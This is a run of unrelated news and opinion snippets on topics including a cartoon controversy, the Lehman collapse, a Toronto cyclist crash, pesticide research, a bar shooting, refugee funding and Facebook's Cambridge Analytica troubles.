Maya the Bee appears to feature a drawing of a penis when the titular character hides in a log and the crude picture appears behind her
Taking to Facebook last week, Chey shared the video with the caption: 'Disgusted!!! Please be mindful of what your kids are watching!!'
She said the scene she filmed was from the 35th episode of the first season of Maya The Bee, which is available on Netflix in the US, and has now been turned in a feature length film.
Chey said: 'I wanted to do this video, I'm actually pretty disgusted at the moment. There was a post I saw on Facebook about an episode of Maya the Bee. Those of you who have kids that watch it I just really encourage you guys to be mindful and be careful of what your kids are watching
'On the post on Facebook it was about something inappropriate on the show on a log so I have it paused so you can see what i'm talking about. It's Maya the Bee season one episode 35. I've paused it just so you guys can see that i'm not lying or editing anything whatsoever, this is right on Netflix.'
US mother Chey Robinson shared a video of the moment in the episode, saying she was disgusted
Chey filmed the relevant scene, and zoomed in to show what looks like a drawing of a penis.
She continued: 'I know i'm not going crazy and i know that something like this shouldn't be in a kids' show whatsoever. I'm extremely disgusted by it, there should be no reason my kids have to see something like this.
'I don't know if they're gonna do something about this or what but there's no reasons why this should be in this show. So I'm just giving you guys a heads up just be careful what your kids are watching seriously be mindful and hope that helps.'
MailOnline has contacted the studio behind Maya The Bee and is awaiting comment.
The video has been viewed more than a million times, prompting a flood of comments from alarmed parents.
One commented: 'What the f*** people saying is a mushroom? If it's a mushroom how come it disappears on the close up scene?'
Other parents said the image was harmless, as children were unlikely to spot it or understand what it was
'... This is scandalous. This is how they implant subliminal thoughts,' another said.
A third said: 'Everyone saying no young kid will see it? It's not the point of them taking notice the brain takes notice of everything this is a subliminal message.'
However, others saw the funny side and said children wouldn't even notice the crude drawing.
Facebook users had different reactions to the video, with many joining in Chey's shock - but others thought children wouldn't even notice the crude picture
'I didn't even notice that at first. I sincerely doubt your kid's gonna notice it, much less understand what it is,' one posted.
Another commented: 'People kill me. Kids wouldn't even notice this. Most adults wouldn't even notice it unless it was pointed out to them.'
'If it were more obvious then yes I'd think it's disgraceful. Fact is, that drawing in there is barely noticeable and I agree with others that it's probably there for the adults that are forced to watch these programs all the time,' a third agreed.
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Paulson and other regulators stress, however, that there was no buyer to play the role for Lehman that JPMorgan Chase had played in the rescue of Bear Stearns. Had Paulson said from the outset that a government-assisted deal was possible, a buyer might have emerged. Instead, he summoned Wall Street’s chief executives to the Fed, where he said emphatically that there would be no government assistance, as had already been indicated to the press. If this was simply a tough negotiating tactic, Paulson may have overplayed his hand. He succeeded in getting the Wall Street firms to coöperate, which would have provided welcome political cover from likely hostile reaction to another government bailout, but he failed to secure a buyer. Still, he came close. An orderly sale of Lehman to Barclays, with backing from Wall Street, the U.S., and perhaps the British government, might have been within reach. If so, at the highest levels of the American and British governments there was a breathtaking failure to communicate.
Paulson, Geithner, and Bernanke worked tirelessly to save Lehman—within the limits that they believed to be feasible. And those limits, in light of the public hostility toward bailouts of any kind, were formidable. As the Treasury official told me, “With Lehman Brothers, you said the market has to police itself. It was a disaster. With A.I.G., you say you have to protect the system, and that’s a disaster! It’s a Hobson’s choice. You’re not going to win.” Even so, Geithner says, “If we had had the authority to prevent a system threat, I would have been prepared to act despite the political costs.”
Today, it is widely accepted that the failure of Lehman was indeed a disaster. Its unintended and unforeseen consequences—the run on money-market funds most of all—could arguably have been avoided. Yet saving Lehman would not have addressed the broader problem: the capital shortage in the global banking system. It took a crisis of Lehman’s proportions to motivate Congress to act, and, even then, it voted down the TARP legislation the first time.
Lehman’s failure and the aftermath remain a source of widespread outrage and confusion. The inconsistent treatment of Lehman and A.I.G., the unsatisfying public explanations, and the subsequent about-face on the TARP bailout—direct injections of capital rather than buying toxic assets—fuelled public skepticism and, inevitably, conspiracy theories. The one that has gained the most currency focusses on the role of Goldman Sachs, since Paulson is a former chairman of the firm and Goldman was the largest recipient of payments (a total of $12.9 billion) from A.I.G. after it was rescued. But Goldman didn’t have a unique financial motive for the government to rescue A.I.G. According to Goldman, the firm was fully hedged against an A.I.G. failure. A review of an internal document that Goldman prepared on September 15th last year assessing its exposure to A.I.G. suggests that the firm would have come out slightly ahead if A.I.G. had failed.
Had an A.I.G. collapse triggered a global run on all banks, however, it’s likely that Goldman’s insurers couldn’t have made good on their contracts. But, in such a financial catastrophe, a few defaults on A.I.G.-related swaps contracts hardly would have mattered, since by then all banks, and not just Goldman, likely would have shut their doors.
The circumstances of Merrill’s sale to Bank of America also have remained controversial. There was a public uproar over the revelation that Merrill paid $3.6 billion in bonuses before the deal closed. The ex-Goldman bankers Montag and Kraus also got their guarantees, $39.4 million and $29.4 million respectively, even though, in Kraus’s case, it was mere days from the time he began work at Merrill until the deal was announced. On January 22nd, Ken Lewis met with John Thain and demanded his resignation. Bank of America publicly blamed Thain for the bonus payments, maintaining that they were his decision, not Lewis’s. (This despite the fact that the bonus payments were authorized by the document attached to the merger agreement that Lewis signed.) That day, CNBC reported on Thain’s $1.2-million office renovation. Feeling betrayed and unjustly accused, the suddenly unemployed Thain was now a public symbol of Wall Street’s excess. (Thain subsequently reimbursed the cost of the renovation. Neither he nor Fleming took a bonus for 2008.) Bank of America is now embroiled in litigation over what it did or did not disclose to shareholders before they voted to approve the merger.
These controversies aside, one fact is inescapable: billions of taxpayer dollars were invested in the very institutions that caused the crisis. Multimillion-dollar annual bonuses continued, even at A.I.G. Lehman’s Dick Fuld may have had to sell his sixteen-room Park Avenue apartment for $6 million below the asking price—of $32 million—but lenders have commenced foreclosures on nearly three million homes since last October.
Geithner told me, “It seems unjust. But look what happened to the global economy after Lehman failed. Unemployment in the U.S. went to 9.5 per cent. It’s not Wall Street that suffers when you ‘teach people a lesson.’ The tragedy of financial populism is that you do terrible things to innocent people.”
Barney Frank used the analogy of de-Baathification, pointing out that U.S. efforts to purge Iraq of supporters of Saddam Hussein were a disaster. “You can’t go out and shoot the bankers,” he said. “You can’t have an economy without a functioning credit system. People are angry. They’re furious. But you have no option but to live with these people.”
More broadly, the events of that week are likely to redefine the debate over the role of markets in a democracy, and even the nature of capitalism. At least since the Reagan revolution of the early nineteen-eighties, free-market ideology has been ascendant, with even Democratic Administrations following its precepts of market discipline, limited regulation, and unfettered rewards. George W. Bush was only its latest exponent, governing on a platform of economic growth and lower taxes. Yet it was Bush, and his Republican appointees Paulson and Bernanke, who orchestrated the virtual nationalization of the U.S. financial system. Although a vocal minority continues to argue that the system should have been left to the forces of creative destruction, the overwhelming consensus is that free-market principles failed to address a global financial panic. In an intellectual debate that has been going on since the Depression, Lehman’s failure may mark a victory of John Maynard Keynes over Adam Smith—the government interventionists over laissez-faire capitalists.
Congress seems incapable of confronting this reality, especially with many Republicans adhering to pre-Lehman free-market doctrine. Senator Shelby said this summer on CNBC, “I don’t believe anything is too big to fail. We should let the market discipline these banks and if we let them do it, that would help.” The U.S. regulatory framework is a patchwork of agencies that largely date to the Depression and have proved inadequate to restrain market excesses. It seems absurd that A.I.G. would report to a savings-and-loan regulator, Lehman Brothers to the S.E.C., and Bank of America to the Fed. The Obama Administration has started to address many of these issues by proposing new regulations, including expanding the powers of the Federal Reserve to oversee different types of firms that could pose a risk to financial stability, as Lehman did. But thus far Congress, absorbed in the health-care debate, has shown scant interest in enacting any legislation. And, despite outrage over lavish bonuses and much talk about curtailing excessive risk-taking on Wall Street, President Obama has made only a modest proposal for greater shareholder oversight of executive compensation, leaving it to the French to press for stronger curbs on excessive pay.
Meanwhile, the economy is still in a deep recession, with unemployment at nearly ten per cent. But the simple fact is this: America did not plunge into the economic abyss it faced that Thursday night. The bold stroke of guaranteeing the money-market funds stopped the panic and halted withdrawals from the funds. The commercial-paper market slowly came back to life and, with it, the credit markets. Turning Morgan Stanley and Goldman Sachs into bank holding companies with Fed supervision and support stopped the run on investment banks. The details and mechanics of the TARP legislation proved less important than the sense that a comprehensive plan to address the crisis was under way. The reprieve bought enough time for the reëmergence of reason over unbridled fear. ♦
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A female cyclist has been rushed to hospital with life-threatening injuries following a collision in Leslieville on Thursday morning.
The incident occurred near Dundas Street East and Logan Avenue at around 7 a.m.
The victim, who paramedics say is in her 20s, was rushed to a trauma centre via emergency run with severe head injuries.
The vehicle involved in the collision remained at the scene.
"The vehicle that struck the female was the person that called (police)," Toronto police spokesperson Gary Long told CP24.
Long said it is unclear exactly what led to the collision but members of the Traffic Services unit are investigating.
He confirmed that there was a report that the cyclist was in a bike lane at the time of the collision.
The eastbound lanes of Dundas Street have been shut down and all traffic is being diverted south or north on Logan Avenue.
The westbound lanes of Dundas Street have been closed at Carlaw.
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I stalk the social network profiles of hot girl's boyfriends Just to see if I'm better than them and have a shot with her
266 shares
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From Bagels to Coal Fires: An Unorthodox Economist Keeps Pushing for Change
You may remember Paul Feldman as the Bagel Man we wrote about in Freakonomics. You may also remember that he was an economist before he got into bagels, with an interest in agricultural, medical, and military issues.
He recently wrote to us about an environmental issue he’s been looking into: the abundance of underground coal fires in abandoned mines and other places that not only waste coal but contribute mightily to worldwide carbon dioxide emissions. According to Paul’s research — take a look at Web sites like this one, this one, and this one — underground fires in China alone contribute as much CO2 to the atmosphere each year as all the cars and light trucks in the U.S. (We touched on the issue of coal mining fatalities in the U.S. and China in a recent column about nuclear energy, but didn’t include this other important byproduct of widespread coal use.)
We asked Paul to write up a guest blog on the subject, which you’ll find below. Once you’ve read it, you’ll probably understand a bit better why this was the guy who could figure out how to make a handsome living by selling bagels on an honor system. It is a call to arms that understands the political and economic realities of the climate change debate. Here’s hoping that someone answers Paul’s call.
GUEST BLOG: COAL FIRES
By Paul Feldman
There is growing acceptance that the earth’s climate is changing, and that action is needed to control the production of greenhouse gases. There is no consensus, however, on what should be done. Some proposals focus on using carbon taxes or carbon cap-and-trade arrangements to regulate industrial emitters. Other proposals are directed at re-designing individual emitters such as cars and trucks.
Such proposals are not likely to be accepted unless they are adopted worldwide. No nation wants to pay for emissions reductions while others continue to increase their emissions. Gaining international acceptance of broad policy actions, however, is a time-consuming and contentious process. For example, the Law of the Sea Treaty that is now being considered by the Bush Administration has been in the works since 1982, and it still fails to satisfy many parties to the negotiations. And the international treaty on climate change produced by the United Nations in 1992 and followed by the Kyoto Protocol of 1997 still lacks worldwide acceptance, because it excludes several of the most important emitters of greenhouse gases.
But while a worldwide policy to limit greenhouse gases will be difficult to achieve, not all interim steps to reduce emissions have to be contentious. One example concerns an issue that has escaped front-page attention: extinguishing underground coal fires that have been burning freely and putting massive amounts of carbon dioxide into the air for decades. Underground coal fires in China alone produce as much carbon dioxide annually as all the cars and light trucks in the United States. Fires in other countries, including the United States, are smaller but still add significantly to the total burden.
Although extinguishing these fires would be costly, it would reduce carbon emissions without the major disruptions to individual national economies mentioned above. And it would further benefit nations by eliminating the loss of their coal fields. As such, it might be possible to work out some international cost-sharing arrangement to attack those fires now, without waiting for all nations to agree on a wide-ranging treaty to limit carbon dioxide emissions.
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NEW DELHI: Over 3,000 British travellers currently stranded in India will get home on 12 additional charter flights which have opened for bookings today.This follows the seven charter flights announced on April 5 from Goa, Mumbai and New Delhi (8-12 April) and will take the total number of people brought back on these 19 flights to around 5,000.The first charter flight from India arrived at London Stanstead on Thursday morning with 317 British nationals on board from Goa. UK minister of state for South Asia and the Commonwealth, Lord (Tariq) Ahmad of Wimbledon said, “We are doing all we can to get thousands of British travellers in India home. This is a huge and complex operation which also involves working with the Indian Government to enable people to move within India to get on these flights. Over 300 people arrived from Goa on Thursday morning, 1,400 more will arrive over the Easter weekend and these 12 flights next week will bring back thousands more.”“We can confirm 12 more charter flights to bring British travellers back home – on top of the flights already launched. We are extremely grateful for the support we are receiving from the Government of India on this. Getting people home as quickly as possible remains our absolute priority,” Jan Thompson, Acting High Commissioner to India, said.British Deputy High Commissioner to Kolkata, Nick Low, said,“I’m delighted that British Airways will operate a special UK charter flight from Kolkata to London (via Delhi) on Sunday 19 April. We look forward to getting our people home.”The following flights to London are scheduled for the next two weeks and British travellers should visit the India Travel Advice page to reserve seats as well as for any further information:· Amritsar - UK: 13, 17, 19 April· Ahmedabad - UK: 13, 15 April· Goa - UK: 14, 16 April· Goa (via Mumbai) - UK: 18 April· Thiruvananthapuram (via Kochi) - UK: 15 April· Hyderabad (via Ahmedabad) - UK: 17 April· Kolkata (via Delhi) - UK: 19 April· Chennai (via Bengaluru) - UK: 20 AprilIndia is a priority country for the FCO to arrange charter flights from, with a large number of Britons seeking to return and a lack of commercial options – made more challenging by the size of the country and the restrictions on movement that are in place.The UK Government is working with the airline industry and host governments across the world to help bring back British travellers to the UK as part of the plan announced by the Foreign Secretary Dominic Raab last week (30 March) – with up to £75 million available for special charter flights to priority countries, focused on helping the most vulnerable travellers. So far, flights have brought back British travellers from the Philippines, Ecuador, Bolivia, Nepal, Ghana, Tunisia, Algeria and Peru.
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April 21, 2011 -- Children exposed to pesticides in the womb are more likely to have measurable problems with intelligence, memory, and attention, three new studies show.
The pesticides in question, a class of chemicals called organophosphates, have long concerned both scientists and regulators because they work by irreversibly blocking an enzyme that’s critical to nerve function in both bugs and people.
Even at relatively low levels, organophosphates may be most hazardous to fetuses and young children, where healthy brain development depends on a carefully orchestrated sequence of biological events.
To protect kids, the EPA banned most residential uses of organophosphates in 2001, but they are still sprayed agriculturally on fruits and vegetables. They’re also used to control pests like mosquitos in public spaces like parks and golf courses. They can be absorbed through the lungs or skin or by eating them on food.
The new, government-funded studies, from researchers in New York and California, have charted environmental exposures in hundreds of women and their children through pregnancy and into their grade school years.
Though each study used a slightly different way to track the pesticide exposures, they all reached strikingly similar conclusions -- that many children exposed to higher levels of organophosphates during pregnancy than their peers are more likely to have lower IQs and may have more difficulty focusing on tasks or solving problems.
In one study, researchers even found that genetics appears to play a strong role in whether exposure to organophosphates will cause damage. Mothers carrying a particular gene that slowed their ability to metabolize the pesticides were more likely to have children with brain deficits than mothers whose genes made them quick metabolizers.
Animal studies had previously demonstrated that organophosphates could scramble brain function and behavior in baby rats.
And last year, two studies found that children exposed to higher levels of organophosphate pesticides than their peers were more likely to be diagnosed with attention deficit hyperactivity disorder (ADHD).
“This combination of three long-term studies looking at everyday exposures in American subpopulations is notable,” says Sonya Lunder, a senior analyst at the Environmental Working Group, a nonprofit advocacy group.
“There have only been a couple of studies like this in the U.S. before, and it really increases our level of concern. It’s a pretty sobering look at pesticide safety,” says Lunder, who was not involved in the research.
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after watching the gabbie show twerking my sister tries to do it on her own HD
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The John Batchelor Show, March 7.
Nation Contributing Editor Stephen F. Cohen and John Batchelor continue their weekly discussions of the new US-Russian Cold War. (Now in their fourth year, previous installments are at TheNation.com.) Ad Policy
Discussion begins with the new McCarthyism, driven primarily by Democrats, other cold warriors, and their media alleging, without any real evidence, that President Trump has been “compromised” or is otherwise controlled by the Kremlin. (Here, Cohen emphasizes again that nor is there any actual empirical evidence that Russia hacked the DNC, only “assessments” and allegations.) Cohen laments that this hysteria is growing into a witch hunt for Americans with “contacts” with Russia, which could ensnare many legitimate, essential relationships with Russia, from those of American scholars and diplomats to CEOs of large-scale businesses in Russia. Once respectable media are recklessly feeding this frenzy. Echoing his fellow columnists, The New York Times’s Charles Blow (March 6), for example, applauds the “gathering fog of suspicion” in the hope it will bring down the president. MSNBC contributes a two-hour kangaroo tribunal on “The Trump-Putin Power Play” (no question mark) featuring “experts” without any doubts (or much actual knowledge) on their minds. Both MSNBC and CNN regularly feature “former intelligence officials” whose wildly misinformed statements about Russia’s leadership can only give the CIA and US “Intel” generally a very bad reputation, as should those agencies’ politicized anti-Trump leaks to the media. Not surprisingly, experts with dissenting analyses and points of view are systematically excluded. Cohen thinks the accompanying clamor for “investigations,” which in the enveloping “fog” can hardly be independent or objective, may only make things worse. Ready to Fight Back? Sign Up For Take Action Now
Meanwhile, Cohen observes, the “fog of suspicion” is chilling, even freezing, public discourse about worsening US-Russian relations, which should be the foremost media topic. As the bipartisan political-media establishment “redirects” President Trump away from his professed wish for some kind of détente with Russian President Putin, some academics and journalists are reluctant to speak out. As are CEOs in pursuit of profits in Russia who would normally have welcomed Trump’s détente, as did such corporate heads in the years of the Nixon-Kissinger détente with Soviet Russia. Also not surprisingly, only one or two members of Congress have publicly expressed any principled alarm over the hysteria. Most apparently share the anti–national security mission of Senator Lindsey Graham to make 2017 “the year of kicking Russia in the ass.”
As this “statesmanship” prevails in Washington, Cohen points out, the three new Cold War fronts become more fraught with the possibility of hot war. He and Batchelor discuss each of them:
§ The Baltic-Black Sea region, on Russia’s western border, where NATO’s unprecedented buildup continues, is provoking equally dangerous forms of Russian “brinkmanship.”
§ Syria, where the growing number of American troops is increasingly in military proximity to the Russian-Syrian alliance, another realm of mishaps waiting to happen.
§ And Ukraine, the political epicenter of the new Cold War, which is worse off in every respect than it was before the crisis erupted in late 2013, including the state of its “democracy,” where recent developments show again that the US-backed government in Kiev is hostage to armed ultra-nationalist forces and that Moscow’s patience with Kiev’s refusal to implement the Minsk peace accords is running out. The alternative, Cohen continues to think, is more war and the growing possibility that Ukraine will fragment permanently into two or more parts.
Cohen also reflects on the hyperbolic charge that Putin is now at war against the entire “post–Cold War liberal world order,” including the European Union, an allegation trumpeted by the “liberal” American media almost daily. For this too there are no facts or logic. Why would Putin want to destroy the EU, his essential trading partner? Why would Putin undermine European politicians who favored ending sanctions against Russia, as is claimed? More, is Putin really the cause of Europe’s multiple crises today in ways that the superpower Soviet Union never was? And what is this international “order” that has featured so many wars, many of them US ones, since 1991? Blaming Russia for America’s domestic problems—for Hillary Clinton’s defeat and for President Trump, in particular—is political evasion now being projected onto the entire “world order.” This indeed is a “fog,” but not the one the Times, The Washington Post, cable “news,” and other US mainstream media are so busy promoting.
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A court in Paris has ruled that a journalist was within his rights to describe Franck Ribéry as “scum” in a book about French football published in 2013.
In 2013, RMC Sport’s Daniel Riolo published his book Racaille Football Club (Scum Football Club) which lifted the lid on the seedy side of the French game. Four years earlier, Ribéry and his team-mate Karim Benzema had been accused of having sex with an underage prostitute and were eventually cleared.
But the investigations interfered with France’s preparation for the World Cup in 2010 and Raymond Domenech’s team were knocked out in the group stages after Nicolas Anelka had been sent home following a bust-up with the coach.
In his book, Riolo accused Ribéry of being one of the main perpetrators of the discontent within the squad and used several derogatory words to describe him, including “scarface”, “scum” and “gangster”. The Bayern forward, who is currently out injured, sued the journalist and his publisher Hugo & Cie for damages but a judge ruled this week that the terms had been used “objectively” and that the lawsuit was “reckless”.
Ribéry was subsequently ordered to pay a total of €5,000 to Riolo and his publisher, with the judge citing Roselyne Bachelot, the French sports minister, who during the 2010 World Cup referred to some of the French team as “gangsters”.
The 32-year-old’s lawyer Carlo Alberto Brusa said he would appeal against the decision. “My client is outraged that the 17th chamber of the court has described this as an abuse of procedure as he was simply exercising judicial means available to him to request that his fundamental rights are respected.”
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Through the power of Pair Programming we've completed the first step of integrating in the new world simulator. In this short(er) video we show how NPC settlers marry, move in together, and start making babies. And how you can visit the happy newborn family.
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MUNICH (Project Syndicate) — Important progress was made at the donors’ conference for Syrian refugees convened in London on Feb. 4. But much more remains to be done.
The international community is still vastly underestimating what is needed to support refugees, both inside and outside the borders of the European Union. To deal with the refugee crisis, while putting the EU’s largely unused AAA borrowing capacity to better use, requires a paradigm shift.
Rather than scraping together insufficient funds year after year, it is time to engage in “surge funding.” Spending a large amount of money up front would be far more effective than spending the same amount over several years. Front-loading the spending would allow us to address the most dangerous consequences of the crisis — including anti-immigrant sentiment in receiving countries and despondency and marginalization among refugees — more effectively. Making large initial investments would help tip the economic, political, and social dynamics away from xenophobia and disaffection, and toward constructive outcomes that benefit refugees and the recipient countries alike.
“ Tapping the AAA credit of the EU, rather than taxing consumption, has the additional advantage of providing much-needed economic stimulus for Europe. ”
Surge funding has been used often to finance immunization campaigns. The International Finance Facility for Immunization (IFFIm), which borrows against future government contributions to immunization programs, has raised billions of dollars over the past several years to ensure that vaccination campaigns are successful as soon as possible. In the long run, this is more effective than spending the same amount of money in yearly installments. IFFIm provides a convincing precedent for the current crisis.
A sudden large influx of refugees can cause panic that affects the general population, the authorities, and, most destructively, the refugees themselves. The panic breeds a false sense that refugees are a burden and a danger, resulting in expensive and counter-productive measures, like erecting fences and walls and concentrating refugees into camps, which in turn breeds frustration and desperation among the refugees. If the global community could fund large-scale, concentrated programs to address the problem, the general public and the refugees would be reassured.
A surge in spending is needed both in Europe and in frontline states like Jordan, Lebanon and Turkey. The necessary investments include an overhaul of the EU’s asylum policy and improvement of its border controls. In frontline states, money is needed to provide refugees with formal employment opportunities, health care, and education. If life for refugees is made tolerable in frontline countries, and they believe that an orderly process is in place for gaining entry to Europe, they are more likely to wait their turn, rather than rushing to Europe and overwhelming the system. Similarly, if the refugee crisis can be brought under control, the panic will subside and the European public will be less prone to support anti-migrant policies.
Jordan could provide a test case. A country of 9.5 million people, it is providing refuge to 2.9 million non-citizens, including 1.27 million Syrians, and facing the influx of additional Syrians uprooted by Russian bombing. A combination of massive upfront direct financial assistance, enhanced trade preferences, and temporary debt relief is needed. A successful program for Jordan could demonstrate the international community’s ability to bring the refugee crisis under control, opening the way to similar programs for other frontline states, adjusted on a case-by-case basis, depending on local conditions.
The approach suggested here would cost more than EU member states can afford out of current budgets. A minimum of 40 billion euros ($45 billion) needs to be spent annually in the next three to five years; but even larger amounts would be justified to bring the migration crisis under control. In fact, so far, lack of adequate financing is the main obstacle to implementation of successful programs in any of the frontline countries, particularly in Turkey. While Germany has an unallocated budget surplus of 6 billion euros ($6.8 billion), other EU countries are running deficits. German Finance Minister Wolfgang Schäuble has proposed a pan-European fuel tax, but that would demand either unanimous agreement or a coalition of the willing.
This enhances the merits of having recourse to the EU’s largely unused AAA credit. The migration crisis poses an existential threat to the EU. Indeed, with the north pitted against the south, and the east confronting the west, the EU is coming apart at the seams. When should the EU’s AAA credit be mobilized if not at a moment when the EU is in mortal danger? It is not as if there is no precedent for this approach; throughout history, governments have issued bonds in response to national emergencies.
Tapping the AAA credit of the EU, rather than taxing consumption, has the additional advantage of providing much-needed economic stimulus for Europe. The amounts involved are large enough to be of macroeconomic significance, especially as they would be spent almost immediately and produce a multiplier effect. A growing economy would make it much easier to absorb immigrants, whether refugees or economic migrants. In short, surge funding is a win-win initiative, and it must be undertaken urgently.
George Soros is chairman of Soros Fund Management and of the Open Society Foundations.
This article was published with the permission of Project Syndicate.
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Explore the Statue of Liberty, an American Icon!
Take in the sights from the torch balcony at the Statue of Liberty, where the public has not been permitted to visit in person since 1916, and see unique, one-of-a-kind perspectives of the torch, crown, face and tablet, in addition to ultra widescreen panoramic images and live HD streaming video. Enjoy unmatched streaming video of Lady Liberty from Brooklyn, as well.Click on the link below to learn more about the TorchCams:
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The web is such an open place that you can meet any type of person online.
Whether you’re looking for a new friend, an engaging discussion, or a new client, there is a whole world of amazing, interesting people out there.
Heck, you might even meet your future business partner online.
There are certain things you can do and places you can visit, to deliberately meet interesting pianists online.
Without further ado, here are 12 foolproof ways to meet interesting pianists online.
Piano Groups
The beauty of Reddit is that there’s always something new. It’s a collection of piano-related links and discussions that the users vote on.
Anyone can access the links, but you need an account to upvote/downvote links, submit links, or leave comments.
“You don’t belong here if you are not a fan or a student or a performer of the great classical piano repertoire composed by gods such as Bach, Beethoven, Mozart, Chopin, Liszt, Rachmaninoff…etc… We just won’t accept weak sauce like that [“Heart & Soul” or “Hot Cross Buns” or even “Fur Elise”] around here. We’ve all practiced WAY too many hours and sacrificed TOO much to deal with lowly… pianists! So if you are one of THOSE, don’t even think about joining us. Go make your own group and talk about “Hot Cross Buns” on your own board! Okay, that was a joke… sort of…” (We Bang Steinways Description)
Definitely lots of interesting pianists. Mostly Classical pianists like to flock here. Share and discover music links, resources, and just connect with other pianists.
Facebook ID required.
This Yahoo! group started in 1999 and is still going strong. It’s mostly a student gathering but anyone is welcome to join.
There are tons of resources for members, but be sure to read the rules before you post any messages.
Yahoo! ID required.
Tip
Find more groups by searching ‘piano’ and choosing groups or pages on Yahoo! and Facebook.
Piano Message Boards
A popular piano forum with tons of topics– you’ll find a home here whether you’re a piano teacher, piano tuner, piano performer, or piano student.
Tons of friendly and interesting pianists on this forum; even get answers to any pressing questions that you have.
Another popular piano forum, but targeted towards Classical pianists with the traditional sense of piano education.
Lots of interesting discussions with a wide range of pianists all over the world.
These forums focus more on the piano itself than the different aspects of playing.
A fairly popular Classical piano message board.
Piano Blogs
Blogs are definitely great places to meet interesting pianists; there are tons of amazing piano bloggers out there, and here are just a few.
Tip
Leave a couple of comments to engage other readers as well as the blogger. Also, subscribe to bloggers you like to get regular updates.
Natalie, the author of this popular blog, writes about everything music. She’s got links, resources, giveaways– the works. (Plus, the blog itself is super bright!)
Chris writes about “the art of the piano in ensemble, various piano-related resources and events, the world of classical music, music education” in this dynamic blog.
Social Networking
By ‘following’ someone on Twitter, you’ll automatically get their updates on your dashboard.
To find interesting people on Twitter, just search for the type of person you want follow.
Clicking People will bring up everyone whose descriptions include your search term.
After that, you can follow the person or ‘mention’ the person in your own tweet to get the connection going.
You can also find people based on their tweets.
Tip
Because Twitter’s search algorithm is so specific, try searching variations of your term for more results.
For example, you might search ‘piano’, ‘pianist’, ‘piano player’, etc.
If Facebook is where you connect with friends and family, then Linked In is where you connect with professionals in your industry.
This is the concept as the above; just search for the type of person you want to meet and sift through the results to contact those who interest you.
The screenshot below shows the different caps you can put on your search.
The way that Pinterest is designed (people who post ‘good’ content become popular) means that it’s packed with high quality content.
On Pinterest, there are Boards (collections of images/links), Pins (the images/links themselves), and Pinners (people who post the images/links).
Pinterest lets you search through any of the above. (Screenshot below shows a search of blogs for teaching piano.)
Also, because Pinterest requires a Facebook/Twitter ID to register, the degree of genuineness in its users is increased. [Edit: This is no longer required.]
Get to Expert Level
Get my system for staying motivated and hitting your goals, using proven psychology.
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The man who authorities said committed suicide after he shot a woman at a York County bar last night likely suffered from post-traumatic stress disorder following military tours in Iraq, according to his father.
Lenard Guise of Mount Holly Springs said Arthur Guise, his son, did two tours in Iraq during his time in the Army.
"I think that affected him," Guise said. "He was going to some counseling to help. He saw a lot in Iraq. It changed him."
County Coroner Pam Gay said Arthur Guise, 31, shot and killed Sharon Williams, 33, of Mount Holly Springs before shooting and killing himself at Flapjacks Pub, on Route 15, just outside Dillsburg.
Reports have indicated that about 50 people saw the shooting, which occurred shortly before 9 p.m. on the bar's deck.
Carroll Township police are investigating the incident. They couldn't immediately be reached for this report.
This photo, taken from Arthur Guise's Facebook page, shows Guise, center, with his family.
Scott Osterhoudt -- whose son was tending bar at the time of the shooting -- described the shooting as happening "within five seconds" at a time when the "deck was packed."
"He came onto the deck and walked right up to her -- she was sitting at a table on the deck -- and just walked up right behind her and shot her three times," said Osterhoudt, whose wife manages the bar, which is owned by Osterhoudt's father-in-law.
Osterhoudt said the man then "put the gun to his head and shot himself."
"Nobody even knew what was happening," said Osterhoudt, who arrived at the bar shortly after the shooting and drew his account from witnesses who were there, including his son.
When reached this morning, Arthur's father said all of this was "very unexpected," and it's a difficult time for his family. Lenard Guise said, to his knowledge, his son and Williams had previously dated for about a year and a half.
Lenard Guise said, to his knowledge, Williams had been at the bar with another date. Though, Madi Osterhoudt, Osterhoudt's daughter who works at the bar, said that man was just a good friend.
When asked whether his son had ever talked about missing Williams, Lenard Guise said such personal topics didn't typically come up between the two.
"He was a very good boy," said Guise, who described his son as "very social" before his military tours. After that, he said, his son withdrew from people and kept more to himself.
Guise said when Arthur returned home safe from Iraq they didn't realize how much his tours had affected him.
"This is the kind of news you expect to hear when he's in Iraq, not when he's home," Guise said.
Lenard Guise said he didn't know Williams' family.
"I'm sorry to hear of their loss, too," Guise said. "It's a shame things like this happen to any family."
Editor's note: This post was updated to include information from an interview with York County Coroner Pam Gay. The post also has been updated to include a comment from Madi Osterhoudt and to note that Scott Osterhoudt was not present for the shooting, but drew his account from witnesses who were at the pub during the shooting.
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The investment slump continued in Q2 ...
Click on graph for larger image in new window.
Residential investment (RI) has been declining for 14 consecutive quarters, and the decline in Q2 was still very large - a 29.3% annual rate in Q2.
This puts RI as a percent of GDP at 2.4%, by far the lowest level since WWII.
The second graph shows non-residential investment as a percent of GDP. All areas of investment are declining.
Business investment in equipment and software was off 9.0% (annualized) and has declined for 6 consecutive quarters. Investment in non-residential structures was only off 8.9% (annualized) and will probably fall sharply over the next year or so.
The third graph shows the contribution to GDP from residential investment, equipment and software, and nonresidential structures. The graph shows the rolling 4 quarters for each investment category.
This is important to follow because residential tends to lead the economy, equipment and software is generally coincident, and nonresidential structure investment trails the economy.
Residential investment (red) has been a huge drag on the economy for the last three and a half years. The good news is the drag on GDP will probably end soon. The bad news is any rebound in residential investment will probably be small because of the huge overhang of existing inventory.
As expected, nonresidential investment - both structures (blue), and equipment and software (green) - declined in Q2. If there is a surprise it is how well nonresidential investment in structures held up in Q2 (although we could see this in the construction spending data). This investment will decline sharply soon as many major projects are completed, and few new projects are started.
In previous downturns the economy recovered long before nonresidential investment in structures recovered - and that will probably be true again this time.
As always, residential investment is the most important investment area to follow - and I expect it to turn slightly positive in the second half of 2009.
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Facebook Inc. has lost more than $50 billion of its market value in two days as questions mount over user data obtained by Cambridge Analytica, a London firm that helped Donald Trump's presidential campaign with social media promotion.
The Federal Trade Commission, which enforces privacy regulations in the U.S., is sending a letter to the Menlo Park, Calif.-based company inquiring about information acquired by Cambridge Analytica on Facebook users and their connections, or "friends," within the platform's network, according to a person familiar with the matter. A digital forensics firm hired by Facebook to review the matter left a London meeting with Cambridge officials on Monday at the request of the British Information Commissioner's Office, which is pursuing a warrant for its own investigation.
The developments, which raise the possibility of a Congressional hearing, heighten challenges for a social media company already grappling with concerns that phony news articles on its site were used to influence elections around the globe. Privacy has been an issue since at least 2011, when founder Mark Zuckerberg, a Harvard dropout, reached a settlement with the FTC over allegations that the social media platform had repeatedly shared data that it told users would be kept confidential.
